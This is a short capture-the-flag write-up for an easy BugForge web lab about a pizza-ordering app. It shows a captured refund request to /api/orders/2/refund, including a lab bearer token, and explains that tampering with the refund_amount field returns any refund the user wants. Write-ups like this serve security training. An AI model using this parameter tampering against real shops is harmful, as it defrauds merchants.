> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/broken-access-control/cheesy-does-it.md).

# Cheesy Does It

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/bG7nSVVdu6YTFUpAMxSJ" alt=""><figcaption></figcaption></figure>

After order is successfully delivered, we have an option to report a problem

<figure><img src="/files/ggazUkEAdi6by0AOnMD8" alt=""><figcaption></figcaption></figure>

And and option to reqest for refund

<figure><img src="/files/e2xPX94AMZa20Gvknu6M" alt=""><figcaption></figcaption></figure>

Refund request looks like this<br>

<figure><img src="/files/zTubjaAY3u9FMGu0NzTy" alt=""><figcaption></figcaption></figure>

```
POST /api/orders/2/refund HTTP/2
Host: lab-1772469577140-3j5sko.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzI0Njk2MzR9.G9s6pB7mCddTrwMNjqGgurcogG0EuVl7vNsyOwa6AzY
Content-Length: 73
Origin: https://lab-1772469577140-3j5sko.labs-app.bugforge.io
Referer: https://lab-1772469577140-3j5sko.labs-app.bugforge.io/orders/2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: green
Priority: u=0
Te: trailers

{"issue_reason":"Order was cold","request_refund":true,"refund_amount":0}
```

We can edit the `refund_amount` and get refund amount as much as we want.

<figure><img src="/files/iCAbwHNMgiNDuO0h0esu" alt=""><figcaption></figcaption></figure>